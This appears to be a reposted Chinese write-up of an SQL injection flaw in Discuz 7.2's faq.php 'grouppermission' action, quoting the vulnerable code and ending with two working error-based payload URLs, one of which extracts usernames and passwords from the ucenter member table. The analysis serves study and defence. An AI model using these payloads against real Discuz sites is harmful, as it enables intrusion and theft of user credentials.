Discuz 7.2 faq.php漏洞分析

來源:互聯網
上載者:User

標籤:串連   rmi   action   php   開始   關鍵字   div   member   bsp   

漏洞發生在頁面faq.php中,源碼如下:

 elseif($action == ‘grouppermission‘) {ksort($gids);    $groupids = array();    foreach($gids as $row) {        $groupids[] = $row[0];    }    $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

這段話的意思是在首先針對數組$gids按照其關鍵字進行升序操作,然後取變數數組$gids中每個關鍵字的值的第一位$row[0]存到$groupids數組中,之後使用implodeids()函數產生一個字串帶入sql查詢語句中。

這裡每當我們輸入一個$gids參數時,都會預設進行轉義操作,即如果我們輸入單引號‘,那麼儲存的最終資料為\‘,但是他每次都會只取出數組中的第一位值,即此時的$row[0]=‘\’,這時會把\取出來放到$groupids數組中。

假設輸入單引號後的$gids數組的值是{‘1‘,‘\‘‘,‘3‘,‘4‘},然後我們取其第一位值放到$groupids數組中,此時$groupids={‘1‘,‘\‘,‘3‘,‘4‘}。

然後我們開始看implodeids()函數,在global.fanc.php檔案中

function implodeids($array) {    if(!empty($array)) {        return "‘".implode("‘,‘", is_array($array) ? $array : array($array))."‘";    } else {        return ‘‘;    }}

就是把數組各個數組使用‘,‘串連到一起。

那麼$groupids經過該函數之後就變為‘1‘,‘\‘,‘3‘,‘4‘;

此時就出現了問題,因為第四個單引號由於左邊右斜杠\的存在強行被轉義為單引號字元,不會再與第三個單引號閉合,此時第三個單引號將與第五個單引號形成閉合,3位置就會出現逃逸,此時構造3位置為payload即可形成注入。3處輸入右括弧與前面進行封閉,然後and+一個新的查詢語句即可。

此時payload可寫為:

http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]=‘&gids[81][0]=) and updatexml(1,concat(0x7e,(select @@version)),1)%23

http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]=‘&gids[81][0]=) and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from ucenter.uc_members)),1)%23

 

Discuz 7.2 faq.php漏洞分析

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.